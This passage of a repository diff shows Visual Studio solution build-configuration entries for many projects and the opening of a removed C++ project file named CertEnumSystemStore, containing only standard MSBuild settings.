{03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Release|x64.Build.0 = Release|x64
{03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Release|x86.ActiveCfg = Release|Win32
{03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Release|x86.Build.0 = Release|Win32
{A4F42B69-CAFC-4870-B6AA-EA15B6703DE3}.Debug|x64.ActiveCfg = Debug|x64
{A4F42B69-CAFC-4870-B6AA-EA15B6703DE3}.Debug|x64.Build.0 = Debug|x64
{A4F42B69-CAFC-4870-B6AA-EA15B6703DE3}.Debug|x86.ActiveCfg = Debug|Win32
{A4F42B69-CAFC-4870-B6AA-EA15B6703DE3}.Debug|x86.Build.0 = Debug|Win32
{A4F42B69-CAFC-4870-B6AA-EA15B6703DE3}.Release|x64.ActiveCfg = Release|x64
{A4F42B69-CAFC-4870-B6AA-EA15B6703DE3}.Release|x64.Build.0 = Release|x64
{A4F42B69-CAFC-4870-B6AA-EA15B6703DE3}.Release|x86.ActiveCfg = Release|Win32
{A4F42B69-CAFC-4870-B6AA-EA15B6703DE3}.Release|x86.Build.0 = Release|Win32
{055B882F-D318-4BFC-B7DF-A05B2A628575}.Debug|x64.ActiveCfg = Debug|x64
{055B882F-D318-4BFC-B7DF-A05B2A628575}.Debug|x64.Build.0 = Debug|x64
{055B882F-D318-4BFC-B7DF-A05B2A628575}.Debug|x86.ActiveCfg = Debug|Win32
{055B882F-D318-4BFC-B7DF-A05B2A628575}.Debug|x86.Build.0 = Debug|Win32
{055B882F-D318-4BFC-B7DF-A05B2A628575}.Release|x64.ActiveCfg = Release|x64
{055B882F-D318-4BFC-B7DF-A05B2A628575}.Release|x64.Build.0 = Release|x64
{055B882F-D318-4BFC-B7DF-A05B2A628575}.Release|x86.ActiveCfg = Release|Win32
{055B882F-D318-4BFC-B7DF-A05B2A628575}.Release|x86.Build.0 = Release|Win32
{AA0F0505-21D0-42F0-ADD5-1D928D36D477}.Debug|x64.ActiveCfg = Debug|x64
{AA0F0505-21D0-42F0-ADD5-1D928D36D477}.Debug|x64.Build.0 = Debug|x64
{AA0F0505-21D0-42F0-ADD5-1D928D36D477}.Debug|x86.ActiveCfg = Debug|Win32
{AA0F0505-21D0-42F0-ADD5-1D928D36D477}.Debug|x86.Build.0 = Debug|Win32
{AA0F0505-21D0-42F0-ADD5-1D928D36D477}.Release|x64.ActiveCfg = Release|x64
{AA0F0505-21D0-42F0-ADD5-1D928D36D477}.Release|x64.Build.0 = Release|x64
{AA0F0505-21D0-42F0-ADD5-1D928D36D477}.Release|x86.ActiveCfg = Release|Win32
{AA0F0505-21D0-42F0-ADD5-1D928D36D477}.Release|x86.Build.0 = Release|Win32
{F6919DF1-E593-4998-89E8-14E7ED01ECAE}.Debug|x64.ActiveCfg = Debug|x64
{F6919DF1-E593-4998-89E8-14E7ED01ECAE}.Debug|x64.Build.0 = Debug|x64
{F6919DF1-E593-4998-89E8-14E7ED01ECAE}.Debug|x86.ActiveCfg = Debug|Win32
{F6919DF1-E593-4998-89E8-14E7ED01ECAE}.Debug|x86.Build.0 = Debug|Win32
{F6919DF1-E593-4998-89E8-14E7ED01ECAE}.Release|x64.ActiveCfg = Release|x64
{F6919DF1-E593-4998-89E8-14E7ED01ECAE}.Release|x64.Build.0 = Release|x64
{F6919DF1-E593-4998-89E8-14E7ED01ECAE}.Release|x86.ActiveCfg = Release|Win32
{F6919DF1-E593-4998-89E8-14E7ED01ECAE}.Release|x86.Build.0 = Release|Win32
{3EB22637-5913-436C-B6B4-7E90DE2C7069}.Debug|x64.ActiveCfg = Debug|x64
{3EB22637-5913-436C-B6B4-7E90DE2C7069}.Debug|x64.Build.0 = Debug|x64
{3EB22637-5913-436C-B6B4-7E90DE2C7069}.Debug|x86.ActiveCfg = Debug|Win32
{3EB22637-5913-436C-B6B4-7E90DE2C7069}.Debug|x86.Build.0 = Debug|Win32
{3EB22637-5913-436C-B6B4-7E90DE2C7069}.Release|x64.ActiveCfg = Release|x64
{3EB22637-5913-436C-B6B4-7E90DE2C7069}.Release|x64.Build.0 = Release|x64
{3EB22637-5913-436C-B6B4-7E90DE2C7069}.Release|x86.ActiveCfg = Release|Win32
{3EB22637-5913-436C-B6B4-7E90DE2C7069}.Release|x86.Build.0 = Release|Win32
{FCD8BB2E-81AB-487A-BA1B-D8E5463BDDB7}.Debug|x64.ActiveCfg = Debug|x64
{FCD8BB2E-81AB-487A-BA1B-D8E5463BDDB7}.Debug|x64.Build.0 = Debug|x64
{FCD8BB2E-81AB-487A-BA1B-D8E5463BDDB7}.Debug|x86.ActiveCfg = Debug|Win32
{FCD8BB2E-81AB-487A-BA1B-D8E5463BDDB7}.Debug|x86.Build.0 = Debug|Win32
{FCD8BB2E-81AB-487A-BA1B-D8E5463BDDB7}.Release|x64.ActiveCfg = Release|x64
{FCD8BB2E-81AB-487A-BA1B-D8E5463BDDB7}.Release|x64.Build.0 = Release|x64
{FCD8BB2E-81AB-487A-BA1B-D8E5463BDDB7}.Release|x86.ActiveCfg = Release|Win32
{FCD8BB2E-81AB-487A-BA1B-D8E5463BDDB7}.Release|x86.Build.0 = Release|Win32
{AF51FD2C-1D6C-4110-8E1B-F016F2EEAFC7}.Debug|x64.ActiveCfg = Debug|x64
{AF51FD2C-1D6C-4110-8E1B-F016F2EEAFC7}.Debug|x64.Build.0 = Debug|x64
{AF51FD2C-1D6C-4110-8E1B-F016F2EEAFC7}.Debug|x86.ActiveCfg = Debug|Win32
{AF51FD2C-1D6C-4110-8E1B-F016F2EEAFC7}.Debug|x86.Build.0 = Debug|Win32
{AF51FD2C-1D6C-4110-8E1B-F016F2EEAFC7}.Release|x64.ActiveCfg = Release|x64
{AF51FD2C-1D6C-4110-8E1B-F016F2EEAFC7}.Release|x64.Build.0 = Release|x64
{AF51FD2C-1D6C-4110-8E1B-F016F2EEAFC7}.Release|x86.ActiveCfg = Release|Win32
{AF51FD2C-1D6C-4110-8E1B-F016F2EEAFC7}.Release|x86.Build.0 = Release|Win32
{9AC492BD-854C-418F-BFDD-7FFB1C6A4059}.Debug|x64.ActiveCfg = Debug|x64
{9AC492BD-854C-418F-BFDD-7FFB1C6A4059}.Debug|x64.Build.0 = Debug|x64
{9AC492BD-854C-418F-BFDD-7FFB1C6A4059}.Debug|x86.ActiveCfg = Debug|Win32
{9AC492BD-854C-418F-BFDD-7FFB1C6A4059}.Debug|x86.Build.0 = Debug|Win32
{9AC492BD-854C-418F-BFDD-7FFB1C6A4059}.Release|x64.ActiveCfg = Release|x64
{9AC492BD-854C-418F-BFDD-7FFB1C6A4059}.Release|x64.Build.0 = Release|x64
{9AC492BD-854C-418F-BFDD-7FFB1C6A4059}.Release|x86.ActiveCfg = Release|Win32
{9AC492BD-854C-418F-BFDD-7FFB1C6A4059}.Release|x86.Build.0 = Release|Win32
{F22C852B-1CAA-4132-BDF3-F7AFAD1D65D2}.Debug|x64.ActiveCfg = Debug|x64
{F22C852B-1CAA-4132-BDF3-F7AFAD1D65D2}.Debug|x64.Build.0 = Debug|x64
{F22C852B-1CAA-4132-BDF3-F7AFAD1D65D2}.Debug|x86.ActiveCfg = Debug|Win32
{F22C852B-1CAA-4132-BDF3-F7AFAD1D65D2}.Debug|x86.Build.0 = Debug|Win32
{F22C852B-1CAA-4132-BDF3-F7AFAD1D65D2}.Release|x64.ActiveCfg = Release|x64
{F22C852B-1CAA-4132-BDF3-F7AFAD1D65D2}.Release|x64.Build.0 = Release|x64
{F22C852B-1CAA-4132-BDF3-F7AFAD1D65D2}.Release|x86.ActiveCfg = Release|Win32
{F22C852B-1CAA-4132-BDF3-F7AFAD1D65D2}.Release|x86.Build.0 = Release|Win32
{0C660DE2-1FAC-4BE7-A1BA-0BA0E96C1562}.Debug|x64.ActiveCfg = Debug|x64
{0C660DE2-1FAC-4BE7-A1BA-0BA0E96C1562}.Debug|x64.Build.0 = Debug|x64
{0C660DE2-1FAC-4BE7-A1BA-0BA0E96C1562}.Debug|x86.ActiveCfg = Debug|Win32
{0C660DE2-1FAC-4BE7-A1BA-0BA0E96C1562}.Debug|x86.Build.0 = Debug|Win32
{0C660DE2-1FAC-4BE7-A1BA-0BA0E96C1562}.Release|x64.ActiveCfg = Release|x64
{0C660DE2-1FAC-4BE7-A1BA-0BA0E96C1562}.Release|x64.Build.0 = Release|x64
{0C660DE2-1FAC-4BE7-A1BA-0BA0E96C1562}.Release|x86.ActiveCfg = Release|Win32
{0C660DE2-1FAC-4BE7-A1BA-0BA0E96C1562}.Release|x86.Build.0 = Release|Win32
{81376644-3F09-490E-963E-2266154C188E}.Debug|x64.ActiveCfg = Debug|x64
{81376644-3F09-490E-963E-2266154C188E}.Debug|x64.Build.0 = Debug|x64
{81376644-3F09-490E-963E-2266154C188E}.Debug|x86.ActiveCfg = Debug|Win32
{81376644-3F09-490E-963E-2266154C188E}.Debug|x86.Build.0 = Debug|Win32
{81376644-3F09-490E-963E-2266154C188E}.Release|x64.ActiveCfg = Release|x64
{81376644-3F09-490E-963E-2266154C188E}.Release|x64.Build.0 = Release|x64
{81376644-3F09-490E-963E-2266154C188E}.Release|x86.ActiveCfg = Release|Win32
{81376644-3F09-490E-963E-2266154C188E}.Release|x86.Build.0 = Release|Win32
{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Debug|x64.ActiveCfg = Debug|x64
{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Debug|x64.Build.0 = Debug|x64
{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Debug|x86.ActiveCfg = Debug|Win32
{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Debug|x86.Build.0 = Debug|Win32
{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Release|x64.ActiveCfg = Release|x64
{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Release|x64.Build.0 = Release|x64
{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Release|x86.ActiveCfg = Release|Win32
{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Release|x86.Build.0 = Release|Win32
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x64.ActiveCfg = Debug|x64
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x64.Build.0 = Debug|x64
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x86.ActiveCfg = Debug|Win32
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x86.Build.0 = Debug|Win32
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x64.ActiveCfg = Release|x64
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x64.Build.0 = Release|x64
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x86.ActiveCfg = Release|Win32
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x86.Build.0 = Release|Win32
{784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Debug|x64.ActiveCfg = Debug|x64
{784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Debug|x64.Build.0 = Debug|x64
{784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Debug|x86.ActiveCfg = Debug|Win32
{784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Debug|x86.Build.0 = Debug|Win32
{784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Release|x64.ActiveCfg = Release|x64
{784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Release|x64.Build.0 = Release|x64
{784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Release|x86.ActiveCfg = Release|Win32
{784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Release|x86.Build.0 = Release|Win32
{2253DC4A-3941-4809-A20D-416CA71F799A}.Debug|x64.ActiveCfg = Debug|x64
{2253DC4A-3941-4809-A20D-416CA71F799A}.Debug|x64.Build.0 = Debug|x64
{2253DC4A-3941-4809-A20D-416CA71F799A}.Debug|x86.ActiveCfg = Debug|Win32
{2253DC4A-3941-4809-A20D-416CA71F799A}.Debug|x86.Build.0 = Debug|Win32
{2253DC4A-3941-4809-A20D-416CA71F799A}.Release|x64.ActiveCfg = Release|x64
{2253DC4A-3941-4809-A20D-416CA71F799A}.Release|x64.Build.0 = Release|x64
{2253DC4A-3941-4809-A20D-416CA71F799A}.Release|x86.ActiveCfg = Release|Win32
{2253DC4A-3941-4809-A20D-416CA71F799A}.Release|x86.Build.0 = Release|Win32
{C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Debug|x64.ActiveCfg = Debug|x64
{C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Debug|x64.Build.0 = Debug|x64
{C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Debug|x86.ActiveCfg = Debug|Win32
{C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Debug|x86.Build.0 = Debug|Win32
{C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Release|x64.ActiveCfg = Release|x64
{C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Release|x64.Build.0 = Release|x64
{C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Release|x86.ActiveCfg = Release|Win32
{C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Release|x86.Build.0 = Release|Win32
{8F7C78F7-1CE5-41F8-BAA7-92B297248DB4}.Debug|x64.ActiveCfg = Debug|x64
{8F7C78F7-1CE5-41F8-BAA7-92B297248DB4}.Debug|x64.Build.0 = Debug|x64
{8F7C78F7-1CE5-41F8-BAA7-92B297248DB4}.Debug|x86.ActiveCfg = Debug|Win32
{8F7C78F7-1CE5-41F8-BAA7-92B297248DB4}.Debug|x86.Build.0 = Debug|Win32
{8F7C78F7-1CE5-41F8-BAA7-92B297248DB4}.Release|x64.ActiveCfg = Release|x64
{8F7C78F7-1CE5-41F8-BAA7-92B297248DB4}.Release|x64.Build.0 = Release|x64
{8F7C78F7-1CE5-41F8-BAA7-92B297248DB4}.Release|x86.ActiveCfg = Release|Win32
{8F7C78F7-1CE5-41F8-BAA7-92B297248DB4}.Release|x86.Build.0 = Release|Win32
{B014BCB9-7850-4AC7-BD7F-6B07DB77DE35}.Debug|x64.ActiveCfg = Debug|x64
{B014BCB9-7850-4AC7-BD7F-6B07DB77DE35}.Debug|x64.Build.0 = Debug|x64
{B014BCB9-7850-4AC7-BD7F-6B07DB77DE35}.Debug|x86.ActiveCfg = Debug|Win32
{B014BCB9-7850-4AC7-BD7F-6B07DB77DE35}.Debug|x86.Build.0 = Debug|Win32
{B014BCB9-7850-4AC7-BD7F-6B07DB77DE35}.Release|x64.ActiveCfg = Release|x64
{B014BCB9-7850-4AC7-BD7F-6B07DB77DE35}.Release|x64.Build.0 = Release|x64
{B014BCB9-7850-4AC7-BD7F-6B07DB77DE35}.Release|x86.ActiveCfg = Release|Win32
{B014BCB9-7850-4AC7-BD7F-6B07DB77DE35}.Release|x86.Build.0 = Release|Win32
{86E9BEC1-C77A-449C-9D89-4E1ABA9DFB0F}.Debug|x64.ActiveCfg = Debug|x64
{86E9BEC1-C77A-449C-9D89-4E1ABA9DFB0F}.Debug|x64.Build.0 = Debug|x64
{86E9BEC1-C77A-449C-9D89-4E1ABA9DFB0F}.Debug|x86.ActiveCfg = Debug|Win32
{86E9BEC1-C77A-449C-9D89-4E1ABA9DFB0F}.Debug|x86.Build.0 = Debug|Win32
{86E9BEC1-C77A-449C-9D89-4E1ABA9DFB0F}.Release|x64.ActiveCfg = Release|x64
{86E9BEC1-C77A-449C-9D89-4E1ABA9DFB0F}.Release|x64.Build.0 = Release|x64
{86E9BEC1-C77A-449C-9D89-4E1ABA9DFB0F}.Release|x86.ActiveCfg = Release|Win32
{86E9BEC1-C77A-449C-9D89-4E1ABA9DFB0F}.Release|x86.Build.0 = Release|Win32
{F9EBC138-CEBA-4927-B9C2-AB6B751AB89E}.Debug|x64.ActiveCfg = Debug|x64
{F9EBC138-CEBA-4927-B9C2-AB6B751AB89E}.Debug|x64.Build.0 = Debug|x64
{F9EBC138-CEBA-4927-B9C2-AB6B751AB89E}.Debug|x86.ActiveCfg = Debug|Win32
{F9EBC138-CEBA-4927-B9C2-AB6B751AB89E}.Debug|x86.Build.0 = Debug|Win32
{F9EBC138-CEBA-4927-B9C2-AB6B751AB89E}.Release|x64.ActiveCfg = Release|x64
{F9EBC138-CEBA-4927-B9C2-AB6B751AB89E}.Release|x64.Build.0 = Release|x64
{F9EBC138-CEBA-4927-B9C2-AB6B751AB89E}.Release|x86.ActiveCfg = Release|Win32
{F9EBC138-CEBA-4927-B9C2-AB6B751AB89E}.Release|x86.Build.0 = Release|Win32
{C9CDA752-24AF-48CC-9F54-A695A453A929}.Debug|x64.ActiveCfg = Debug|x64
{C9CDA752-24AF-48CC-9F54-A695A453A929}.Debug|x64.Build.0 = Debug|x64
{C9CDA752-24AF-48CC-9F54-A695A453A929}.Debug|x86.ActiveCfg = Debug|Win32
{C9CDA752-24AF-48CC-9F54-A695A453A929}.Debug|x86.Build.0 = Debug|Win32
{C9CDA752-24AF-48CC-9F54-A695A453A929}.Release|x64.ActiveCfg = Release|x64
{C9CDA752-24AF-48CC-9F54-A695A453A929}.Release|x64.Build.0 = Release|x64
{C9CDA752-24AF-48CC-9F54-A695A453A929}.Release|x86.ActiveCfg = Release|Win32
{C9CDA752-24AF-48CC-9F54-A695A453A929}.Release|x86.Build.0 = Release|Win32
{13291D07-600D-44D2-91F8-A1FEF83AB0FD}.Debug|x64.ActiveCfg = Debug|x64
{13291D07-600D-44D2-91F8-A1FEF83AB0FD}.Debug|x64.Build.0 = Debug|x64
{13291D07-600D-44D2-91F8-A1FEF83AB0FD}.Debug|x86.ActiveCfg = Debug|Win32
{13291D07-600D-44D2-91F8-A1FEF83AB0FD}.Debug|x86.Build.0 = Debug|Win32
{13291D07-600D-44D2-91F8-A1FEF83AB0FD}.Release|x64.ActiveCfg = Release|x64
{13291D07-600D-44D2-91F8-A1FEF83AB0FD}.Release|x64.Build.0 = Release|x64
{13291D07-600D-44D2-91F8-A1FEF83AB0FD}.Release|x86.ActiveCfg = Release|Win32
{13291D07-600D-44D2-91F8-A1FEF83AB0FD}.Release|x86.Build.0 = Release|Win32
{D0AB9F7D-C35D-4E4F-840A-34597B466E1A}.Debug|x64.ActiveCfg = Debug|x64
{D0AB9F7D-C35D-4E4F-840A-34597B466E1A}.Debug|x64.Build.0 = Debug|x64
{D0AB9F7D-C35D-4E4F-840A-34597B466E1A}.Debug|x86.ActiveCfg = Debug|Win32
{D0AB9F7D-C35D-4E4F-840A-34597B466E1A}.Debug|x86.Build.0 = Debug|Win32
{D0AB9F7D-C35D-4E4F-840A-34597B466E1A}.Release|x64.ActiveCfg = Release|x64
{D0AB9F7D-C35D-4E4F-840A-34597B466E1A}.Release|x64.Build.0 = Release|x64
{D0AB9F7D-C35D-4E4F-840A-34597B466E1A}.Release|x86.ActiveCfg = Release|Win32
{D0AB9F7D-C35D-4E4F-840A-34597B466E1A}.Release|x86.Build.0 = Release|Win32
{13C7FED8-77A0-4EE3-A431-6E77F22320C3}.Debug|x64.ActiveCfg = Debug|x64
{13C7FED8-77A0-4EE3-A431-6E77F22320C3}.Debug|x64.Build.0 = Debug|x64
{13C7FED8-77A0-4EE3-A431-6E77F22320C3}.Debug|x86.ActiveCfg = Debug|Win32
{13C7FED8-77A0-4EE3-A431-6E77F22320C3}.Debug|x86.Build.0 = Debug|Win32
{13C7FED8-77A0-4EE3-A431-6E77F22320C3}.Release|x64.ActiveCfg = Release|x64
{13C7FED8-77A0-4EE3-A431-6E77F22320C3}.Release|x64.Build.0 = Release|x64
{13C7FED8-77A0-4EE3-A431-6E77F22320C3}.Release|x86.ActiveCfg = Release|Win32
{13C7FED8-77A0-4EE3-A431-6E77F22320C3}.Release|x86.Build.0 = Release|Win32
{0091D5E9-A212-4C34-857F-0DB13D272AA2}.Debug|x64.ActiveCfg = Debug|x64
{0091D5E9-A212-4C34-857F-0DB13D272AA2}.Debug|x64.Build.0 = Debug|x64
{0091D5E9-A212-4C34-857F-0DB13D272AA2}.Debug|x86.ActiveCfg = Debug|Win32
{0091D5E9-A212-4C34-857F-0DB13D272AA2}.Debug|x86.Build.0 = Debug|Win32
{0091D5E9-A212-4C34-857F-0DB13D272AA2}.Release|x64.ActiveCfg = Release|x64
{0091D5E9-A212-4C34-857F-0DB13D272AA2}.Release|x64.Build.0 = Release|x64
{0091D5E9-A212-4C34-857F-0DB13D272AA2}.Release|x86.ActiveCfg = Release|Win32
{0091D5E9-A212-4C34-857F-0DB13D272AA2}.Release|x86.Build.0 = Release|Win32
{383AB5C3-DDA6-49AA-B3AC-4F8A63CC7460}.Debug|x64.ActiveCfg = Debug|x64
{383AB5C3-DDA6-49AA-B3AC-4F8A63CC7460}.Debug|x64.Build.0 = Debug|x64
{383AB5C3-DDA6-49AA-B3AC-4F8A63CC7460}.Debug|x86.ActiveCfg = Debug|Win32
{383AB5C3-DDA6-49AA-B3AC-4F8A63CC7460}.Debug|x86.Build.0 = Debug|Win32
{383AB5C3-DDA6-49AA-B3AC-4F8A63CC7460}.Release|x64.ActiveCfg = Release|x64
{383AB5C3-DDA6-49AA-B3AC-4F8A63CC7460}.Release|x64.Build.0 = Release|x64
{383AB5C3-DDA6-49AA-B3AC-4F8A63CC7460}.Release|x86.ActiveCfg = Release|Win32
{383AB5C3-DDA6-49AA-B3AC-4F8A63CC7460}.Release|x86.Build.0 = Release|Win32
{F169F79E-D307-4EA9-818D-8C8FF5B7138D}.Debug|x64.ActiveCfg = Debug|x64
{F169F79E-D307-4EA9-818D-8C8FF5B7138D}.Debug|x64.Build.0 = Debug|x64
{F169F79E-D307-4EA9-818D-8C8FF5B7138D}.Debug|x86.ActiveCfg = Debug|Win32
{F169F79E-D307-4EA9-818D-8C8FF5B7138D}.Debug|x86.Build.0 = Debug|Win32
{F169F79E-D307-4EA9-818D-8C8FF5B7138D}.Release|x64.ActiveCfg = Release|x64
{F169F79E-D307-4EA9-818D-8C8FF5B7138D}.Release|x64.Build.0 = Release|x64
{F169F79E-D307-4EA9-818D-8C8FF5B7138D}.Release|x86.ActiveCfg = Release|Win32
{F169F79E-D307-4EA9-818D-8C8FF5B7138D}.Release|x86.Build.0 = Release|Win32
{D3788A6D-E9D8-44FF-B368-B42BC341C8F5}.Debug|x64.ActiveCfg = Debug|x64
{D3788A6D-E9D8-44FF-B368-B42BC341C8F5}.Debug|x64.Build.0 = Debug|x64
{D3788A6D-E9D8-44FF-B368-B42BC341C8F5}.Debug|x86.ActiveCfg = Debug|Win32
{D3788A6D-E9D8-44FF-B368-B42BC341C8F5}.Debug|x86.Build.0 = Debug|Win32
{D3788A6D-E9D8-44FF-B368-B42BC341C8F5}.Release|x64.ActiveCfg = Release|x64
{D3788A6D-E9D8-44FF-B368-B42BC341C8F5}.Release|x64.Build.0 = Release|x64
{D3788A6D-E9D8-44FF-B368-B42BC341C8F5}.Release|x86.ActiveCfg = Release|Win32
{D3788A6D-E9D8-44FF-B368-B42BC341C8F5}.Release|x86.Build.0 = Release|Win32
{D21641FB-1935-4ED9-B511-BC80F00B733F}.Debug|x64.ActiveCfg = Debug|x64
{D21641FB-1935-4ED9-B511-BC80F00B733F}.Debug|x64.Build.0 = Debug|x64
{D21641FB-1935-4ED9-B511-BC80F00B733F}.Debug|x86.ActiveCfg = Debug|Win32
{D21641FB-1935-4ED9-B511-BC80F00B733F}.Debug|x86.Build.0 = Debug|Win32
{D21641FB-1935-4ED9-B511-BC80F00B733F}.Release|x64.ActiveCfg = Release|x64
{D21641FB-1935-4ED9-B511-BC80F00B733F}.Release|x64.Build.0 = Release|x64
{D21641FB-1935-4ED9-B511-BC80F00B733F}.Release|x86.ActiveCfg = Release|Win32
{D21641FB-1935-4ED9-B511-BC80F00B733F}.Release|x86.Build.0 = Release|Win32
{5007CFB3-4072-4B23-9FF9-BDE0B75286F1}.Debug|x64.ActiveCfg = Debug|x64
{5007CFB3-4072-4B23-9FF9-BDE0B75286F1}.Debug|x64.Build.0 = Debug|x64
{5007CFB3-4072-4B23-9FF9-BDE0B75286F1}.Debug|x86.ActiveCfg = Debug|Win32
{5007CFB3-4072-4B23-9FF9-BDE0B75286F1}.Debug|x86.Build.0 = Debug|Win32
{5007CFB3-4072-4B23-9FF9-BDE0B75286F1}.Release|x64.ActiveCfg = Release|x64
{5007CFB3-4072-4B23-9FF9-BDE0B75286F1}.Release|x64.Build.0 = Release|x64
{5007CFB3-4072-4B23-9FF9-BDE0B75286F1}.Release|x86.ActiveCfg = Release|Win32
{5007CFB3-4072-4B23-9FF9-BDE0B75286F1}.Release|x86.Build.0 = Release|Win32
{179D883D-4DC3-4EDB-848B-3FE8C3C5554C}.Debug|x64.ActiveCfg = Debug|x64
{179D883D-4DC3-4EDB-848B-3FE8C3C5554C}.Debug|x64.Build.0 = Debug|x64
{179D883D-4DC3-4EDB-848B-3FE8C3C5554C}.Debug|x86.ActiveCfg = Debug|Win32
{179D883D-4DC3-4EDB-848B-3FE8C3C5554C}.Debug|x86.Build.0 = Debug|Win32
{179D883D-4DC3-4EDB-848B-3FE8C3C5554C}.Release|x64.ActiveCfg = Release|x64
{179D883D-4DC3-4EDB-848B-3FE8C3C5554C}.Release|x64.Build.0 = Release|x64
{179D883D-4DC3-4EDB-848B-3FE8C3C5554C}.Release|x86.ActiveCfg = Release|Win32
{179D883D-4DC3-4EDB-848B-3FE8C3C5554C}.Release|x86.Build.0 = Release|Win32
{4DC52185-7351-4EFA-A364-65945302F470}.Debug|x64.ActiveCfg = Debug|x64
{4DC52185-7351-4EFA-A364-65945302F470}.Debug|x64.Build.0 = Debug|x64
{4DC52185-7351-4EFA-A364-65945302F470}.Debug|x86.ActiveCfg = Debug|Win32
{4DC52185-7351-4EFA-A364-65945302F470}.Debug|x86.Build.0 = Debug|Win32
{4DC52185-7351-4EFA-A364-65945302F470}.Release|x64.ActiveCfg = Release|x64
{4DC52185-7351-4EFA-A364-65945302F470}.Release|x64.Build.0 = Release|x64
{4DC52185-7351-4EFA-A364-65945302F470}.Release|x86.ActiveCfg = Release|Win32
{4DC52185-7351-4EFA-A364-65945302F470}.Release|x86.Build.0 = Release|Win32
{5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}.Debug|x64.ActiveCfg = Debug|x64
{5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}.Debug|x64.Build.0 = Debug|x64
{5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}.Debug|x86.ActiveCfg = Debug|Win32
{5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}.Debug|x86.Build.0 = Debug|Win32
{5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}.Release|x64.ActiveCfg = Release|x64
{5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}.Release|x64.Build.0 = Release|x64
{5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}.Release|x86.ActiveCfg = Release|Win32
{5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}.Release|x86.Build.0 = Release|Win32
{DE7B0D0A-371D-4401-B2A2-A83E891AB90A}.Debug|x64.ActiveCfg = Debug|x64
{DE7B0D0A-371D-4401-B2A2-A83E891AB90A}.Debug|x64.Build.0 = Debug|x64
{DE7B0D0A-371D-4401-B2A2-A83E891AB90A}.Debug|x86.ActiveCfg = Debug|Win32
{DE7B0D0A-371D-4401-B2A2-A83E891AB90A}.Debug|x86.Build.0 = Debug|Win32
{DE7B0D0A-371D-4401-B2A2-A83E891AB90A}.Release|x64.ActiveCfg = Release|x64
{DE7B0D0A-371D-4401-B2A2-A83E891AB90A}.Release|x64.Build.0 = Release|x64
{DE7B0D0A-371D-4401-B2A2-A83E891AB90A}.Release|x86.ActiveCfg = Release|Win32
{DE7B0D0A-371D-4401-B2A2-A83E891AB90A}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {A113DEC5-1AB8-4FEC-89D9-E87CB9F8A2C9}
EndGlobalSection
EndGlobal

View File

@ -1,155 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{fcd8bb2e-81ab-487a-ba1b-d8e5463bddb7}</ProjectGuid>
<RootNamespace>CertEnumSystemStore</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
